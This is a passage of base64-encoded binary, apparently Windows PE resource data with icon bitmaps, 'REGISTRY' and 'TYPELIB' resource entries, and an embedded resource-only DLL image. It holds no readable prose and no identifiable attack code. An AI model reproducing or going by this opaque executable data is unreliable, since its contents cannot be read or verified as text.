AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA+AgAgFgAAIAKCQCAeAAAgAIAAACQAACAAwAAALAAAIAFAAAA cAEAgAYAAACYAQCACQAAAOABAIAOAAAA+AEAgBAAAAAoAgCAAAAAAAAAAAAAAAAAAAACAH0A AABAAgCAggAAAFgCAIAAAAAAAAAAAAAAAAAAAAEAAQAAAHACAIAAAAAAAAAAAAAAAAAAAAIA agAAAIgCAIB/AAAAoAIAgAAAAAAAAAAAAAAAAAAAFgABAAAAuAIAgAIAAADQAgCAAwAAAOgC AIAEAAAAAAMAgAUAAAAYAwCABgAAADADAIAHAAAASAMAgAgAAABgAwCACQAAAHgDAIAKAAAA kAMAgAsAAACoAwCADAAAAMADAIANAAAA2AMAgA4AAADwAwCADwAAAAgEAIAQAAAAIAQAgBEA AAA4BACAEgAAAFAEAIATAAAAaAQAgBQAAACABACAFQAAAJgEAIAWAAAAsAQAgAAAAAAAAAAA AAAAAAAAAwBnAAAAyAQAgHoAAADgBACAfAAAAPgEAIAAAAAAAAAAAAAAAAAAAAcABwAAABAF AIAIAAAAKAUAgAkAAABABQCACgAAAFgFAIALAAAAcAUAgAwAAACIBQCADQAAAKAFAIAAAAAA AAAAAAAAAAAAAAEAvQAAALgFAIAAAAAAAAAAAAAAAAAAAAQAaQAAANAFAIB3AAAA6AUAgHkA AAAABgCAvwAAABgGAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAGAIAAAAAAAAAAAAAAAAAAAAEA CQQAAEgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAGgG AAAAAAAAAAAAAAAAAAAAAAEACQQAAHgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgGAAAAAAAA AAAAAAAAAAAAAAEACQQAAJgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgGAAAAAAAAAAAAAAAA AAAAAAEACQQAALgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgGAAAAAAAAAAAAAAAAAAAAAAEA CQQAANgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgGAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgG AAAAAAAAAAAAAAAAAAAAAAEACQQAAAgHAAAAAAAAAAAAAAAAAAAAAAEACQQAABgHAAAAAAAA AAAAAAAAAAAAAAEACQQAACgHAAAAAAAAAAAAAAAAAAAAAAEACQQAADgHAAAAAAAAAAAAAAAA AAAAAAEACQQAAEgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgHAAAAAAAAAAAAAAAAAAAAAAEA CQQAAGgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAHgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgH AAAAAAAAAAAAAAAAAAAAAAEACQQAAJgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgHAAAAAAAA AAAAAAAAAAAAAAEACQQAALgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgHAAAAAAAAAAAAAAAA AAAAAAEACQQAANgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgHAAAAAAAAAAAAAAAAAAAAAAEA CQQAAPgHAAAAAAAAAAAAAAAAAAAAAAEACQQAAAgIAAAAAAAAAAAAAAAAAAAAAAEACQQAABgI AAAAAAAAAAAAAAAAAAAAAAEACQQAACgIAAAAAAAAAAAAAAAAAAAAAAEACQQAADgIAAAAAAAA AAAAAAAAAAAAAAEACQQAAEgIAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgIAAAAAAAAAAAAAAAA AAAAAAEACQQAAGgIAAAAAAAAAAAAAAAAAAAAAAEACQQAAHgIAAAAAAAAAAAAAAAAAAAAAAEA CQQAAIgIAAAAAAAAAAAAAAAAAAAAAAEACQQAAJgIAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgI AAAAAAAAAAAAAAAAAAAAAAEACQQAALgIAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgIAAAAAAAA AAAAAAAAAAAAAAEACQQAANgIAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgIAAAgGwoAtwAAAAAA AAAAAAAA2BsKAIgCAAAAAAAAAAAAADghCgAECAAAAAAAAAAAAACwuwkAKA0AAAAAAAAAAAAA 2MgJAEhSAAAAAAAAAAAAACBZCQCwAAAAAAAAAAAAAADQWQkAKAEAAAAAAAAAAAAA+FoJAGgF AAAAAAAAAAAAAGBgCQAwAQAAAAAAAAAAAACQYQkA6AIAAAAAAAAAAAAAeGQJAKgIAAAAAAAA AAAAACBtCQCoDgAAAAAAAAAAAAAwfAkAsAAAAAAAAAAAAAAA4HwJACgBAAAAAAAAAAAAAAh+ CQBoBQAAAAAAAAAAAABwgwkAMAEAAAAAAAAAAAAAoIQJAOgCAAAAAAAAAAAAAIiHCQCoCAAA AAAAAAAAAACQkAkAsAAAAAAAAAAAAAAAQJEJACgBAAAAAAAAAAAAAGiSCQBoBQAAAAAAAAAA AADQlwkAMAEAAAAAAAAAAAAAAJkJAOgCAAAAAAAAAAAAAOibCQCoCAAAAAAAAAAAAADwpAkA qAgAAAAAAAAAAAAAmK0JAOgCAAAAAAAAAAAAAICwCQAoAQAAAAAAAAAAAADYsQkA3AMAAAAA AAAAAAAAuLUJAO4DAAAAAAAAAAAAAKi5CQACAgAAAAAAAAAAAABAKQoAoAMAAAAAAAAAAAAA 4CwKAE4DAAAAAAAAAAAAADAwCgBWAQAAAAAAAAAAAACIMQoAwAUAAAAAAAAAAAAASDcKAKQM AAAAAAAAAAAAAPBDCgCOAwAAAAAAAAAAAACARwoAVAMAAAAAAAAAAAAAYB4KACAAAAAAAAAA AAAAAMh7CQBoAAAAAAAAAAAAAAAwkAkAWgAAAAAAAAAAAAAAkKQJAFoAAAAAAAAAAAAAAKix CQAwAAAAAAAAAAAAAACAHgoAtAIAAAAAAAAAAAAACABSAEUARwBJAFMAVABSAFkABwBUAFkA UABFAEwASQBCAAAAAAAAACgAAAAQAAAAIAAAAAEAAQAAAAAAgAAAAAAAAAAAAAAAAgAAAAAA AAAAAAAA////AAAAAAAAAAAAAYAAABZgAAAkIAAAKBAAABgQAAAIEAAADBAAAAsYAAALFAAA BGQAAAZ4AAABgAAAAAAAAAAAAAAAAf//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA //8AAP//AAD//wAA//8AAP//AAD//wAA//+AAP//KAAAABAAAAAgAAAAAQAEAAAAAADAAAAA AAAAAAAAAAAQAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA /wAA/wAAAP//AP8AAAD/AP8A//8AAP///wBAAAAAAAAAAMRERERERERAxEREi7hEREDEj4u0 S7REQMT0i0REuERAxPg4RESDREDET7REREtEQMRI9ERES0RAxES/RERLhEDERLT/REt4QMRE OP9Eg09AxESLRE+4T0DEREu0S7d4QMRERIu4RERAxEREREREREAMzMzMzMzMxAAB//8AAP// AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//4AA //8oAAAAEAAAACAAAAABAAgAAAAAAEABAAAAAAAAAAAAAAABAAAAAAAA////APD7/wD/1NQA qqqqAKSgoACAgIAAlgBiAJkzMwBmAAAAAKr/AACS3AAAerkAAGKWAGJiYgBWVlYAUAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AAg+Pj4+Pj4+Pj4+Pj4+ Pv4HCAgICAgICAgICAgICAg+BwgICAgIDgkJDggICAgIPgcIDQANCQkICAkJCAgICD4HCAAI DQkICAgICQ0ICAg+BwgADQoOCAgICA4KCAgIPgcICAAJCAgICAgICQgICD4HCAgNAAgICAgI CAkICAg+BwgICAkACAgICAgJDQgIPgcICAgJCAAACAgICQINCD4HCAgICg4AAAgIDgoIAAg+ BwgICA0JCAgIAAkNCAAIPgcICAgICQkICAkJAgINCD4HCAgICAgOCQkOCAgICAg+TVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA sAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADrIDXbr0FbiK9BW4ivQVuIaEddiK5BW4hSaWNor0FbiAAAAAAAAAAA AAAAAAAAAABQRQAATAECAM8sNjwAAAAAAAAAAOAADiELAQYAAAAAAAAwAwAAAAAAAAAAAAAQ AAAAEAAAAABgJAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAABAAwAAEAAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAMgVAwAAAAAAAAAAAAAA AAAAAAAAADADAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5yc3JjAAAAyBUDAAAQ AAAAIAMAABAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAMAMAABAAAAAwAwAAAAAA AAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 